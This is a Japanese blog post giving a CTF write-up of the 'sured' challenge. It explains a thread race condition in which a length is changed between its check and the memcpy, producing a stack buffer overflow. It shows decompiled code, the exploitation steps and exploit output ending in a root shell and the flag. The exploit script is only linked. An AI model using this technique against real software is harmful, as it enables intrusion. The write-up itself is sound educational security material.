ブログ未満のなにか

ブログなのか誰にも分からない

CODE GRAY CTF sured writeup

はじめに

一人writeup advent calendarの5日目です。1日1問分のwriteupを目標に頑張っていきます。 5日目の問題は、CODE GRAY CTFで出題された「sured」。race conditionを使った問題で初めての人にオススメです。

初期調査

セキュリティ機構は以下の通りで、特筆すべきところはcanaryがなくstackでbofがあれば、簡単に制御を奪えること。

[root@ubuntu] ~/ctf/CODEGLAY/sured
# checksec ./23016_sured
[*] '/root/ctf/CODEGLAY/sured/23016_sured'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

解析

実行するとこちらからの入力を受け付けており、入力した文字列を返してくる。 LEAVEという文字列を送ると処理が終了する。

[root@ubuntu] ~/ctf/CODEGLAY/sured
# ./23016_sured
Hello, visitor. Leave your comment!
comment:
hoge
Your comment: hoge
comment:
hogehoge
Your comment: hogehoge
comment:
LEAVE
Your comment: LEAVE
Goodbye visitor!

このバイナリは、起動してからスレッドを1つ作成している。 メインをスレッドA、作成したもう片方をスレッドBとすると、それぞれのスレッドは以下の処理を行う。

スレッドAは、標準入力から文字列を読み込む。 読み込んだ文字列はstd::stringとして保存され、文字列の長さをbss領域に保存する。 文字列の読み込みと長さの保存をループで繰り返すようになっている。

スレッドBでは、入力された文字列がLEAVEで始まるかどうか確認している。 bssに保存されている文字列の長さによって、文字列をstackにコピーする処理が異なっている。 長さが0x100byte以下なら、長さ分だけコピーし、0x100byteより大きいなら、0x100byteだけコピーする。 コピーされた文字列がLEAVEで始まる場合、全体の処理を終える。

重要な処理だけのコードは以下のようになっていた。

std::string buf;
int n;

int thread(void) {
    char dest[0x100];
    do {
        char* data = buf.data();
        if (n <= 0x100) {
            memcpy(dest, data, n);
        } else {
            qmemcpy(dest, data, 0x100);
        }
    } while(strncmp(dest, "LEAVE", 5));
    return 1;
}

int main(void) {
    int result = 0;
    // threadを開始する処理、threadの返り値がresultに入る。
    std::thread::_M_start_thread(); ?????

    std::cout << "Hello, visitor. Leave your comment!" << std::endl;

    while(result) {
        std::cout << "comment: " << std::endl;
        std::cin >> buf;
        n = buf.length();
        std::cout << "Your comment: " << buf.data() << std::endl;
    }
    std::cout << "Goodbye visitor!" << std::endl;
    return 0;
}

exploit

各スレッドでは文字列とその長さを扱っているが、それぞれの処理で文字列に対するロックがないためrace conditionが発生する。 race conditonを起こすには以下のようにして長い文字列と短い文字列を交互に送信する。

  1. はじめに0x100byte以下の短い文字列を入力する。
  2. スレッドBで長さのチェックが行われる。入力文字列が0x100byte以下であるため、文字列の長さnでmemcpy()が実行される方へと分岐する。
  3. 長さのチェックが終わってからmemcpy()が実行されるまでの間に、0x100byteを超える長い文字列を入力する
  4. チェック後のnが書き換わり0x100byteを超えた値で、memcpy()が実行される。
  5. stackに用意された配列は0x100byteなので、それ以上の大きさだとstack overflowとなる。

race conditionが上手く行くかどうかネットワークの状況により、成功率は高くない。 リモートではたまたま1度だけ上手く行った時にフラグを取ることができた。

CODE GRAY CTF sured · GitHub

[root@ubuntu] ~/ctf/CODEGLAY/sured
# python exploit.py
[*] '/root/ctf/CODEGLAY/sured/23016_sured'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './23016_sured': pid 12741
[*] Pwning
[*] Switching to interactive mode
Hello, visitor. Leave your comment!
comment:
Your comment: 1
comment:
Your comment: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx$
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
comment:

(長いので省略)

Your comment: LEAVE
comment:
$ id
uid=0(root) gid=0(root) groups=0(root)

フラグ: FLAG{h4v3_4_v4ri0us_p3r5p3ct1v3_v13w_c4n_f17d_bu9}